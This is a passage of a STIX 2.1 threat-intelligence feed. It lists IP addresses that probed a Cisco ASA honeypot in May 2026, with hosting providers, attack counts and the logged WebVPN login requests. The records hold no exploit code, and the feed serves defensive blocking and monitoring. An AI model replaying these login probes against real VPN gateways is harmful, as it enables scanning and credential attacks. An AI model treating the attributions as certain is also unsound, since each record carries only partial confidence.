      "id": "indicator--4762074f-fefd-4e42-a61e-0cd724c5b9e7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:20:10.000Z",
      "valid_until": "2026-06-06T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T22:50:41.722Z",
          "last_seen": "2026-05-22T10:11:14.603Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a4631a6e-b2cb-452a-8432-6198f4de8264",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:20:10.000Z",
      "valid_until": "2026-06-06T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T22:36:41.314Z",
          "last_seen": "2026-05-23T03:03:38.090Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--1bbf70bf-cbf5-4353-9a1a-c9907919251f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:20:10.000Z",
      "valid_until": "2026-06-06T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T22:44:55.106Z",
          "last_seen": "2026-05-05T22:45:03.229Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c514a79d-4245-421f-8fd3-e71aa2bfd641",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:20:10.000Z",
      "valid_until": "2026-06-06T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T22:52:27.299Z",
          "last_seen": "2026-05-29T06:35:54.799Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a461368f-4dc0-4005-b04f-43fb3a416763",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:20:10.000Z",
      "valid_until": "2026-06-06T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T23:02:14.223Z",
          "last_seen": "2026-05-05T23:02:24.540Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2d451813-ede5-4a04-8c21-0e6650251c2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T23:20:10.000Z",
      "valid_until": "2026-06-06T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T23:09:40.945Z",
          "last_seen": "2026-05-22T12:05:15.689Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--069d1f2d-fff9-4864-ad32-b0f7d2a69b29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:20:11.000Z",
      "valid_until": "2026-06-07T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-05T23:50:22.810Z",
          "last_seen": "2026-05-25T12:37:18.847Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--5781b0f1-d695-49f4-8830-0a9417d86b61",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:20:11.000Z",
      "valid_until": "2026-06-07T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T23:31:25.710Z",
          "last_seen": "2026-05-05T23:44:53.505Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--371bce0f-0ae4-48cf-90b2-df497f71c89c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.218.97.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:20:11.000Z",
      "valid_until": "2026-06-07T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-06T00:09:05.033Z",
          "last_seen": "2026-05-06T00:09:05.033Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--05b74f35-dc56-4198-a761-9cb97b6c44df",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '208.123.119.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:20:11.000Z",
      "valid_until": "2026-06-07T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 29,
          "first_seen": "2026-05-05T23:39:21.292Z",
          "last_seen": "2026-05-06T04:27:37.572Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--51bcb504-110d-4050-84f1-b2f138e1654a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:20:11.000Z",
      "valid_until": "2026-06-07T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T23:36:22.254Z",
          "last_seen": "2026-05-05T23:36:31.139Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4dbdc30f-e3b9-4d5b-a522-ff14fc8b6007",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:20:11.000Z",
      "valid_until": "2026-06-07T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-06T00:18:32.318Z",
          "last_seen": "2026-05-23T05:10:38.831Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T00:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f1699ac9-70b3-4c90-a6d0-8cb8c8980fc9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T00:20:11.000Z",
      "valid_until": "2026-06-07T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T00:53:04.348Z",
          "last_seen": "2026-05-27T17:10:18.162Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 395092 (Shock Hosting LLC)",
      "id": "indicator--faa95639-d295-4fa6-a68e-d0c10ddcbf1b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.225.129.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:20:06.000Z",
      "valid_until": "2026-06-07T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 56,
          "first_seen": "2026-05-06T01:33:39.109Z",
          "last_seen": "2026-05-06T04:47:04.227Z",
          "country": "United States",
          "country_code": "US",
          "asn": 395092,
          "as_org": "Shock Hosting LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 62005 (BlueVPS OU)",
      "id": "indicator--4a7ee349-0ba0-4aa9-95ff-4f0e1d578ab3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.19.49.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:20:06.000Z",
      "valid_until": "2026-06-07T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 56,
          "first_seen": "2026-05-06T01:33:56.228Z",
          "last_seen": "2026-05-06T04:46:59.976Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62005,
          "as_org": "BlueVPS OU",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--d6917859-e247-4dff-9abc-aa19bd9c1203",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:20:06.000Z",
      "valid_until": "2026-06-07T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-06T01:11:41.812Z",
          "last_seen": "2026-05-29T18:28:15.087Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--172250eb-ea0f-45ca-b9d5-268407dbfd27",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.252.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:20:06.000Z",
      "valid_until": "2026-06-07T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-06T01:33:11.021Z",
          "last_seen": "2026-05-30T11:18:53.612Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--843666b0-4ecf-459b-9bab-f23664ffb3fb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:20:06.000Z",
      "valid_until": "2026-06-07T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-06T01:20:22.542Z",
          "last_seen": "2026-05-06T01:20:31.619Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8c33f36f-9211-4e80-b151-d2512d2a6971",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:20:06.000Z",
      "valid_until": "2026-06-07T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-06T02:02:13.045Z",
          "last_seen": "2026-05-24T01:08:10.394Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-06T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--8fabce6b-4a71-45e6-933d-bb5e94c506f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-06T02:20:06.000Z",
      "valid_until": "2026-06-07T02:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-06T01:36:53.520Z",
          "last_seen": "2026-05-06T01:37:00.822Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
